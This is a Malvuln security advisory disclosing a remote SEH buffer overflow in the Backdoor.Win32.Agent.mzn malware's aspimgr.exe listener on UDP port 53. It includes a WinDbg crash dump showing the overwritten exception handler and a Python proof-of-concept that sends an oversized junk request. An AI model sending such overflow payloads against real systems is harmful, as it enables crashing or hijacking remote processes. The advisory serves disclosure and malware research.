Backdoor.Win32.Agent.mzn / Remote SEH Buffer Overflow

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.Agent.mzn Vulnerability: Remote SEH Buffer Overflow Description: Agent.mzn drops an executable named "aspimgr.exe" that runs with SYSTEM integrity, listening on TCP port 80 and UDP 53. Attackers who can reach the infected system can send a specially crafted packet to UDP port 53 and trigger a SEH based buffer overflow overwriting the structured exception handler. Type: PE32 MD5: f589ae5fb7879eb0b98fb8096d7152a5 Vuln ID: MVID-2021-0134 Dropped files: aspimgr.exe ASLR: False DEP: False Safe SEH: True :( Disclosure: 03/16/2021 Memory Dump: (390.b8): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00454741 edx=0327efe4 esi=00000000 edi=00000002 eip=7710ed3c esp=0327e708 ebp=0327e748 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:005> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: kernel32!lstrcpyA+1c 761d7c7c 880c16 mov byte ptr [esi+edx],cl EXCEPTION_RECORD: 0327e908 -- (.exr 0x327e908) ExceptionAddress: 761d7c7c (kernel32!lstrcpyA+0x0000001c) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 03280000 Attempt to write to address 03280000 PROCESS_NAME: aspimgr.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 00000015 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 0327e958 -- (.cxr 0x327e958) eax=0327fe34 ebx=000002fc ecx=00454741 edx=0327efe4 esi=0000101c edi=0327fe34 eip=761d7c7c esp=0327edb8 ebp=0327ede0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 kernel32!lstrcpyA+0x1c: 761d7c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:03280000=?? Resetting default scope WRITE_ADDRESS: 03280000 FOLLOWUP_IP: kernel32!lstrcpyA+1c 761d7c7c 880c16 mov byte ptr [esi+edx],cl ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 0040696f to 761d7c7c FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_STACKIMMUNE DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE STACK_TEXT: 00000000 00000000 aspimgr.exe+0x0 STACK_COMMAND: .cxr 000000000327E958 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: aspimgr.exe FOLLOWUP_NAME: MachineOwner MODULE_NAME: aspimgr IMAGE_NAME: aspimgr.exe DEBUG_FLR_IMAGE_TIMESTAMP: 487f3031 FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_STACKIMMUNE_c0000409_aspimgr.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_STACKIMMUNE_MISSING_GSFRAME_aspimgr.exe 0:005> !exchain 0327e7c0: ntdll!_except_handler4+0 (77116a50) CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (771557ad) 0327edd0: kernel32!_except_handler4+0 (761ed450) CRT scope 0, filter: kernel32!lstrcpyA+2d (761d7c8d) func: kernel32!lstrcpyA+40 (761d7ca0) 0327ff68: 41414141 Invalid exception stack at 41414141 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=53 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) JUNK="A"*2000 Dirty0tis_made_me_do_it="GET /"+JUNK+" HTTP/1.0\r\nHost: "+JUNK+"\r\n\r\n" s.send(Dirty0tis_made_me_do_it) s.close() print("Backdoor.Win32.Agent.mzn / Remote SEH Buffer Overflow") print("MD5: f589ae5fb7879eb0b98fb8096d7152a5") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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